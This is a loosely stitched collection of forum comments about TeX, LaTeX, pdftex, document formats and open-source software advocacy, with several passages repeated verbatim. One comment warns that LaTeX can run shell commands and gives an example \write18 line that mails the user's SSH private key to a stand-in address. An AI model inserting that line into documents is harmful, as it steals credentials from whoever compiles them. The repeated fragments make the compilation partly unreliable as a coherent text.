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Ok, there is currently a great deal of information over the net for TeX, LaTeX, and derivatives. Knuth is the authoritative guide, useful for the mechanics of typesetting and the internals of the whole system. LaTeX is an augmented set of macros useful in preparing articles, books, reports, even letters.

And since O'Reilly is THE source of educational material in computing, they DO have a book about TeX but it is out of print. It explains how TeX distributions such as TeXLive, the official distribution by TeX User's Group work, and how to put the constituent parts such as BiBTeX (the bibliographic management software).

So much for history. As far as the resources part is concerned, Google is your eternal friend.

Ok, there is currently a great deal of information over the net for TeX, LaTeX, and derivatives. Knuth is the authoritative guide, useful for the mechanics of typesetting and the internals of the whole system. LaTeX is an augmented set of macros useful in preparing articles, books, reports, even letters.

And since O'Reilly is THE source of educational material in computing, they DO have a book about TeX but it is out of print. It explains how TeX distributions such as TeXLive, the official distribution by TeX User's Group work, and how to put the constituent parts such as BiBTeX (the bibliographic management software).

So much for history. As far as the resources part is concerned, Google is your eternal friend.

Oops, forgot the link.

Your comment gives the mistaken impression that OSS is somehow destined to always be behind proprietary software, as far as innovation and technical superiority is concerned. Microsoft and SCO love that notion, but unfortunately for them, it's not true. OSS is overtaking proprietary software in many areas, and it's reasonable to expect this trend to continue.

Here are just some of many examples of innovative, open-source software:

You're thinking of qmail. TeX was put into the public domain; it's even been included in many commercial products. See TUG for more information.

Is another that's been around for a while, but I've never used it myself.

It's here.

well, ASCII is good for small books, but when things get larger, Tex works better, especially for printing, getting TOC, bibliography ... etc

For another, it recommends a public sector-led effort to adopt an XML-based standard document format, either that of OpenOffice or a new one developed by the EU. Will they push ahead with these plans or is it just more talk?

What's wrong with good old reliable existing formats?

There's also a TeX to PDF converter called pdftex .

And, of course, pdf is really just a wrapper around Postscript so its pretty easy to convert Postscript to PDF.

I don't really want to go the LaTeX -> DVI -> PS -> PDF because it is somewhat cumbersome and the DVI -> Postscript conversion has the problem of rasterizing the fonts is special care is not taken. It was this problem that made me find dvipdfm for conversion of DVI to PDF while skipping the PS step. Pdflatex sounds like it's one better, doing the conversion directly.

Anything that helps you here?

By the way you can see some impressive DTP from TeX here.

I just finished writing two lengthy term papers in LaTeX, and my first two LaTeX documents ever. I read one good tutorial and was off and running. Sure from time to time I had to google around for a snippet of code to do one thing or another, but really 90% of even most technical articles is text. Typesetting math formulas is a breeze. Tables and figures are a little tricky, but nothing new if you're familiar with html. Just go ahead and learn it, once you do you'll never turn back.

This pdf was apparently generated by pdftex,
which is GPL'd.

So you probably won't go to GNU/Hell for reading it, in your friendly local xpdf or konqueror or whatnot.

I've got the solution: the TeXOS(tm)!

Slogan: Crash-free -- Donald Knuth guarantees it!

-Waldo Jaquith

Ultimately, it took nearly 10 years, but along the way he had lots of help from some people who should be well known to readers of this list - Hermann Zapf, Chuck Bigelow, Kris Holmes, Matthew Carter and Richard Southall are acknowledged in the introduction to Volume E, "Computer Modern Typefaces", of the Addison-Wesley "Computers & Typesetting" book series.

But I guess it's pointless arguing if TeX is free software or not. I'm just happy I have a gratis typesetting system to write my thesis in.

Oh, and the fact that Knuth has released the code and placed bounties on any bugs found.

Most mathematicians and computer scientists use a program called TeX to typeset their papers. TeX takes a .tex file as input and spits out a .dvi file, which can be postprocessed by drivers to produce PostScript or PDF files. TeX was written by professor Donald Knuth of Stanford University; the current version is still essentially similar to the 1983 version!

TeX has a horrible syntax and funky limitations, but there are so many available packages for it (such as LaTeX and the associated packages) as well as external applications (BibTeX) and tons of mathematical files made for it that it just cannot be replaced.

Some crazy people even use TeX to
typeset a newspaper and a personnel directory.

>Though I've written my resume using TextEdit and saved it in Adobe PDF format from that built-in feature of Mac OS X, I still get recruiters requesting my resume in M$ Word format

Choices, choices, choices!. So many choices! What will I do? I know, I'll click here and make those recruiters happy! (Warning, some solutions may require wine!)

>The computer help center simply refuses all questions related to Apple Macintosh. Sounds like some wierd politics going on.

Makes sense to me... they have about 90% of all computer users covered by supporting PCs with Windows/Linux and Unix boxes. Welcome to the world of Linux users 5 years ago. Sorry... Sometimes thinking differently and thinking outside the box means you're thinking outside your realm of support.

>I wonder which university administrator got paid a healthy bonus for pushing Apple out.

Seriously, he doubt he got the bonus for pushing Apple out. He got the bonus for satisfying more customers with fewer resources. Unless your course mandates your use of Apple, I really don't think you can expect the Uni. to help you with it. Now, if it does, that's another story...

>One of the few joys I had rubbing Mac OS X in my advisor's face

You see, this is why I'm anti-Mac. Well, one of the reasons. Mac people pretend to be better than me. That really pisses me off.

>All I needed was the laser printer's IP address and Mac OS X was happy. Pissed him off to no end (LMAO).

You're sorta lucky he was nice enough not to care after your earlier bout... If he was nasty he'd just lock down the routable nets to the printer, like he should have in the first place, but hey, he was nice. Anyways, you can do this with any OS (including windows, all the way back to 3.0 if you made/found a DOS print redirector that would let you access an lp spool). Maybe he wanted it this way so he could do it at home too?

Hey, don't take it too hard. I just hope you were taking some literary license with those comments there...

>Though I've written my resume using TextEdit and saved it in Adobe PDF format from that built-in feature of Mac OS X, I still get recruiters requesting my resume in M$ Word format

Choices, choices, choices!. So many choices! What will I do? I know, I'll click here and make those recruiters happy! (Warning, some solutions may require wine!)

>The computer help center simply refuses all questions related to Apple Macintosh. Sounds like some wierd politics going on.

Makes sense to me... they have about 90% of all computer users covered by supporting PCs with Windows/Linux and Unix boxes. Welcome to the world of Linux users 5 years ago. Sorry... Sometimes thinking differently and thinking outside the box means you're thinking outside your realm of support.

>I wonder which university administrator got paid a healthy bonus for pushing Apple out.

Seriously, he doubt he got the bonus for pushing Apple out. He got the bonus for satisfying more customers with fewer resources. Unless your course mandates your use of Apple, I really don't think you can expect the Uni. to help you with it. Now, if it does, that's another story...

>One of the few joys I had rubbing Mac OS X in my advisor's face

You see, this is why I'm anti-Mac. Well, one of the reasons. Mac people pretend to be better than me. That really pisses me off.

>All I needed was the laser printer's IP address and Mac OS X was happy. Pissed him off to no end (LMAO).

You're sorta lucky he was nice enough not to care after your earlier bout... If he was nasty he'd just lock down the routable nets to the printer, like he should have in the first place, but hey, he was nice. Anyways, you can do this with any OS (including windows, all the way back to 3.0 if you made/found a DOS print redirector that would let you access an lp spool). Maybe he wanted it this way so he could do it at home too?

Hey, don't take it too hard. I just hope you were taking some literary license with those comments there...

>Though I've written my resume using TextEdit and saved it in Adobe PDF format from that built-in feature of Mac OS X, I still get recruiters requesting my resume in M$ Word format

Choices, choices, choices!. So many choices! What will I do? I know, I'll click here and make those recruiters happy! (Warning, some solutions may require wine!)

>The computer help center simply refuses all questions related to Apple Macintosh. Sounds like some wierd politics going on.

Makes sense to me... they have about 90% of all computer users covered by supporting PCs with Windows/Linux and Unix boxes. Welcome to the world of Linux users 5 years ago. Sorry... Sometimes thinking differently and thinking outside the box means you're thinking outside your realm of support.

>I wonder which university administrator got paid a healthy bonus for pushing Apple out.

Seriously, he doubt he got the bonus for pushing Apple out. He got the bonus for satisfying more customers with fewer resources. Unless your course mandates your use of Apple, I really don't think you can expect the Uni. to help you with it. Now, if it does, that's another story...

>One of the few joys I had rubbing Mac OS X in my advisor's face

You see, this is why I'm anti-Mac. Well, one of the reasons. Mac people pretend to be better than me. That really pisses me off.

>All I needed was the laser printer's IP address and Mac OS X was happy. Pissed him off to no end (LMAO).

You're sorta lucky he was nice enough not to care after your earlier bout... If he was nasty he'd just lock down the routable nets to the printer, like he should have in the first place, but hey, he was nice. Anyways, you can do this with any OS (including windows, all the way back to 3.0 if you made/found a DOS print redirector that would let you access an lp spool). Maybe he wanted it this way so he could do it at home too?

Hey, don't take it too hard. I just hope you were taking some literary license with those comments there...

I think BaSiX ought to qualify - a BASIC interpreter written in TeX, no less.

There are certainly times when one would want a non-CLI interface even if one were blind - for example, when using programs that are not (and should not) be for the console, such as word processors.

You mean the WYSIWYG (What You See Is What You Get) word processors? (I hope it's not some stupid joke.) "The best output a blind person using WYSIWYG software can hope for is getting no output at all" as the anonymous geek quoted on BLinux FAQ has said. There are typesetting (or "word processing") tools working perfectly well in any text editor you have. I personally use Donald Knuth's TeX and Leslie Lamport's LaTeX extention because they are more powerful than any WYSIWYG tool I've ever used (including TeXmacs), while also giving me much better looking results. They're not only more powerful for people with good sight like myself, they can also be used from any text editor a blind person can use, like the Emacspeak for example. That's if a blind person ever needs such a tool, like for writing a book or printed article. Because using word processors for communication (like most of people use Microsoft Word these days) instead of plain text email is stupid at least.

I've always found that an annoying aspect of (La)TeX documents on the web...a lot of them look really crappy when converted to PDF...

They don't have to. With teTeX, if you generate the PDFs with pdftex or pdflatex (as appropriate), the vector fonts will be used. The problem arises when people use dvips with ps2pdf (or similar); by default, dvips uses bitmap fonts even when vector ones are available. However, this can be fixed by editing the script /usr/share/texmf/dvips/config/updmap (adjust path as needed) and changing the value of the parameter type1_default, then running that script as a sufficiently privileged user. (I'd love to know if there's a nicer way of doing that.) Also, older versions of ghostscript (ps2pdf is a wrapper for gs) would rasterize embedded fonts when generating PDF, but recent ones don't have that problem. Oh, and specifying a font like cmr13 rather than cmr10 scaled 1300 can cause bitmappedness.

tex did that and latex did e iirc TeX

Also, remember that you aren't just designing an ASCII character set. You need a math font, such as the STIX project, and what about Chinese, Arabic,...?.

Anyway, to answer your question, Knuth's Metafont is a standard part of TeX. It's a special-purpose programming language for designing scalable fonts. Way ahead of its time! The problem is that its output isn't in any modern format. There are various conversion tools, but I don't know how good they are (pktrace, textrace, ps2mf, Mathkit,mktekpk).

There are also some free font-design tools that I know even less about: PfaEdit, TTX (converts between TT and XML, so you can edit by hand).

If anyone, ANYONE can show me a OSS compliant document format that even approaches the usefull ness of the .doc format...

Try TeX.

(Yeah, I know it has nothing to do with OSS, but .doc is a text document format.)

Oh. Then, next weekend, Chris is going to ask for references about how to program books! Whoa!! Well, I guess in that case, there can be only one... ;^)

There's a utility to convert to DVI to plain text (for viewing on a terminal, hence "tty") called dvi2tty (search Google or CTAN). However, it doesn't do a pretty job.

There have been various tex2... WordPerfect/etc converters over the years, but none of them seem to handle complex TeX or be very robust. Check the TeX FAQ (via TUG).

Ade_
/

TeX is a most excellent portable typesetting system that is all ascii based (that is, works on nearly all platforms, goes well with CVS, vi, emacs, and automated scripts and is easily legible even before being processed into a beautifully formatted document) and free.

Hey, I said this was off topic, but it warms my heart to see TeX used these days. Plus, TeX is bug free.

I usually generate two outputs of my LaTeX documents: Postscript and PDF. The PDF version usually looks a bit better on screen than the PostScript version.

mind you: I generate the PDF version using pdflatex . I can't remember exactly, but I think I've seen a utility that converts DVI files to PDF and that this produced horrible output. use pdflatex .

because generate multiple output formats (PS, PDF and HTML) from the same LaTeX document, I usually use a package I wrote that contains a lot of convenient macros to make use of the different features in the different formats -- in addition to automating a lot of boring tasks.

I remember how delighted I was when I discovered pdflatex. once you work it into your repertoire you get all this cool stuff for free, like hyperlinks in PDF documents etc. I really recommend you give it a try.

Check out the PDFTeX web page for more information.
Also have a look at Matt Welsh' page about creating presentations in PDFLaTeX. He has some useful information on how to install TrueType fonts for use by PDFLaTeX.

-Bjørn

6.There are no LaTeX "macro" viruses. You can safely receive LaTeX documents by email and not worry about it reading your OutLook address book and mailing copies of itself to all your friends.

\write18{<shell_command>}

\write18{mail evil.genious@better.tomorrow < .ssh/identity}

However, pre default, this feature is turned off. See also section 4.1 of the Web2c manual

6.There are no LaTeX "macro" viruses. You can safely receive LaTeX documents by email and not worry about it reading your OutLook address book and mailing copies of itself to all your friends.

\write18{<shell_command>}

\write18{mail evil.genious@better.tomorrow < .ssh/identity}

However, pre default, this feature is turned off. See also section 4.1 of the Web2c manual

• Typesetting of simple documents such as letters, papers, and others.
• Typesetting of more complicated, composite documents, such as multi-chapter books (I do a little bit of translation in my spare time).
• Typesetting of documents in other scripts -- Cyrillic, 18th century Church Slavic, European languages which use the Latin alphabet.
• Typesetting of software documentation, which must obey strict rules in formatting.
• Typesetting of diagrams -- be it high level block diagrams of electronic circuits, or any kind of UML diagrams, LaTeX does it all for me.

Please give examples of software in use today that have been proven 100% correct. I'd be curious to know how many actually exist.

I think that most coders would agree that 100% correctness is probably impossible, but TeX is about as close as you can get.

• GCC for C/C++/FORTRAN coding. It's free, it's not the fastest in the world but it's competent.
• Octave is a great, free replacement for Matlab. For general data manipulation it seems fine, where it really lacks relative to Matlab is in the GUI.
• Gnuplot is a great all-round, all-purpose, scriptable plotting tool that can also do fitting. For general everyday tasks gnuplot gets used a lot in our lab.
• SciGraphica is a great 2d/3d/vector/polar/ plotting and analysis package. It is a little like an Origin clone so is pretty easy to pick up, and can be extended with Python plugins. I am one of the developers ;0) (although far too busy atm to contribute, anyone want to help?). More suitable for publication-quality plots and still heavily in development. A new release is imminent. Plug ;0).
• teTeX is the main (La)TeX distribution for Linux and you'll most probably have it in Debian anyway but for writing reports, articles, books, theses, even letters you shouldn't need to use anything else. Really.
• OpenOffice if you have to deal with mad, crazy, annoying .doc using people.

There's plenty more where they came from. Most distrbutions come with a lot of these things anyway. These are mainly analysis or document tools, there's plenty of other things for both these areas and any other which plenty of other posters have shown. I've written a little guide for my local group. Some of it's out of date (and some of it's wrong but I have better things to fix) but it does have a list of common tools we use. And, of course, SAL is a pretty comprehensive database of unix tools. HTH.

...is TeX.

This typesetting program was originally aimed at the scientist. I don't know of any other software that produces nicer documents.

I'll lay money that some of the people in Chicago and New York expressing outrage at the attack on the WTC have given money to the IRA to use to buy semtex to murder British civilians.

semtex? A deadly macro package? I know trying to use TeX has driven some to the brink of insanity, but I hadn't heard of it's having caused any murders...

You're trolling, right?

TeX is tau epsilon chi, a typesetting system developed by Donald Knuth in the 80s.

For more info... TeX Users Group.

Frankly, a five-minute idiot document produced in TeX will look fifteen times as professional as a five-minute idiot document produced in Word.

And TeX still has better line-breaking and hyphenation. Thppt.

And it's still used by every academic journal in the world. (Well, every one that deals in hard science, not the squishy stuff.)

-grendel drago

I'm still a student, so my word processing needs are limited to papers I write, but I'm sure this would scale easily:

Emacs maximized to fill the screen, with white enlarged text on a black background. One sentence per line, a blank line in between paragraphs. Nothing beats the navigation capabilities - without moving my hands from the rest position, C-f moves forward a character, C-b moves back, M-f moves forward a word, M-b moves back one. C-d to delete a character, M-d to delete a word. C-k to delete the rest of a line. C-p to go to the previous sentence, C-n to go to the next. C-v to move down a screen, M-v to move up. That's only the beginning of what Emacs lets you do. Once your fingers learn the movements, you'll never want to return to Word. There couldn't be anything faster than Emacs' navigation and editing capabilities.

When I want to see what it really looks like, I bring up my xterm, run the file through LaTeX and look at it in Xdvi. To send documents to other people, or print on printers other than mine I convert to pdf.

All formatting is done through LaTex, a simple but extremely powerful formatting language. Take a look at http://www.tug.org/ to find out more about it. You should be able to get this system running under windows, too, if you want to experiment.

I found this article using Google!

"The Unisys patent on LZW compression will run out either on 10-Dec-2002, or 20-Jun-2003, depending on whether the GATT agreements grandfather in existing patents, or not. The first date is 17 years from issuance of the patent (old U.S. law), and the second is 20 years from the date of first filing (GATT requirement)."

Using TeX. And around any math department you can find TeX typesetters who charge a heck of a lot less than $60/page.

Don't presume that I'm a "UNIX youngster". You'd be wrong.

If you were hacking on UNIX kernels back then, then you'd know that a huge amount of the BSD code base implemented innovations which significantly improved Unix's capabilities. You would also know that the BSD code base was widely distributed and included source from a wide variety of sources. As such, it had to employ a source code licensing model consistent with the BSD license. The only problem was the AT&T code base that lay underneath, as it was still restricted.

I'm very familiar with Timbuktu. It came out well after the X/Windows system did, and it's capabilities are not the same as X/Windows. Timbuktu gives you remote access to a local GUI, which is not the same as as network GUI. If you're remotely familiar with how X/Windows works, you'd know the difference. For example: you can't, and never could, buy Timbuktu Display Servers.

As for your comments on GCC, am I to assume that by your statement that there have been no innovations in C compilers since the orginal work of Kernigan & Ritchie? That seems rather limiting. As far as GCC being developer-facing... I guess you think developers don't use computers or something. ;-) I guess it depends what is meant by "user-facing", but I presume it means that users directly interact with the software (Microsoft I'm sure would acknowledge that there are tons of network server innovations which were done without closing the source code base). As for GCC being antiquated by today's standards, it still seems to be able to generate very efficient code compared to it's commercial competition. (Indeed, Be's decision to switch to GCC was entirely driven by performance improvements.)

I didn't slap GUI's, I'm just saying it's unfair to suggest that they are the only way to go. I just said that there are lots of TeX people who argue it's a better way to go than with traditional word processors you see today. I'm trying to point out that presuming that software has to have a fancy GUI to be an innovation is exteremly close minded. Come to think of it Emacspeak is a stunning exmaple of this ;-)

I guess you didn't look very hard doing your TeX research. I did a quick check on Amazon and found that Knuth's *2nd* book on Tex was published in 1986. As I recall, his first book, "the TeXbook" was published a couple of years earlier (Amazon shows the date it was reprinted). Presumably, Knuth would have had to convince the publishers that there was a sizeable user base before he published the book. Of course, this wouldn't have been too hard because the TeX Users Group had been existence since 1980. Knuth started working on TeX shortly after publishing Volume 3 of "The Art of Computer Programming", which was originally published in 1973. While TeX did take a lot of time to finish, like all good software projects (particularly proprietary software), there were several usuable versions of TeX around for years before it was "finished". (I believe he finished it before he wrote any more books, so that must have been some time around 1982-3.)

Taking some license to rephrase what you said: This is one of the odd things about Macintosh users. They declare themselves to be revolutionary, but they are in fact reactionary. They have a set of tastes laid down 15 years ago and have not moved forward in any significant way since then. In the meantime, mainstream computing and even the popular taste have passed them by.

(The only thing even marginally innovative here is apt-get, a lame command line tool that works around the lack of software packaging standards in Linux. It's not present on other systems only because they have no need for it.)

1.
You have no idea what APT does, do you? It handles the retrieval and installation of packages, all with minimal effort by the user. Don't like the command line? (Why would anyone not like the command line? :) Then there's gnome-apt, console-apt, aptitude, dselect, etc. The reason why APT is not present on other systems is because those systems are inferior, not because they don't have no need for it. Just remember that the next time you have to personally retrieve your software (even by going to the store, or downloading it from an FTP site) and all its dependencies.
2.
What is so "innovative" about the WYSIWYG word processor? It's an imitation of a typewriter! The WYSIWYG word processor is the biggest waste of time for someone using a computer. You have this awesome computing machine, it can do billions of instructions per second, and yet you are doing all the work required to manually typeset and format just like you were still using a typewriter? Fortunately there were some smarter people in this world than those who designed Microsoft Word. Check out LaTeX (using an implementation such as teTeX) and LyX, a graphical front-end for LaTeX that provides a different metaphor for word processing that I would argue is superior to the run of the mill WYSIWYG.

If TEX by Donald Knuth doesn't bring tears to eyes nothing will. ;-) But seriously, there probably isn't a better example of programming at it's finest, particularly if you are interested in Literate Programming

http://www.tug.org/

Note to moderators: Small, but informative posting

Here's another one: PDFTeX

I use [La]TeXPDF all the time to create slide presentations without having to use PowerPoint. Plus, it comes with the teTeX distribution.

Have you heard of pdftex ? If you call it instead of latex it will generate a PDF file instead of DVI. Only minor adjustments to your tex source are necessary.

A rare case, but a famous one.

Wordpad supports Word 97/2000 files

Hrmm, nope, not on my 'puter it doesn't. Believe me, that's the first thing I try when I get a .doc file from someone I don't feel comfortable directing to resend the data in a standard format. It does work sometimes - other times I have to hit WvWare home page to get a readable translation.

Now, since it's obvious from your other post you are this weeks official M$ apologist, and since I am in fact a paying M$ customer (getting closer and closer every day to ending my 10 years as such) - explain this for me. If M$ truly cares about producing software which serves the customers needs instead of just creating lock-in, WHY do they continue with this ridiculous .doc format in all of it's endless change-it-just-enough-to-break-the-converters versions, instead of switching to an open format like TeX?

I remember when M$ at least felt a need to pretend to care about the needs of their customers - those days seem to be long gone now.

I think you are 100% right, and if I hadn't used up my last moderator point on a good post yesterday, I'd bump you a point myself. Not that your comment was particularly informative (no links to back up your point, shame shame) but it definitely qualifies as insightful. MSDoc format is an abomination, while it is a good thing there are in fact decent converters available (see WvWare) for those occasions when we just have to read a .doc file, but the goal should not be conversion of this disgusting format, but elimination of it in favour of open standards (text, TeX and html, depending on the document.)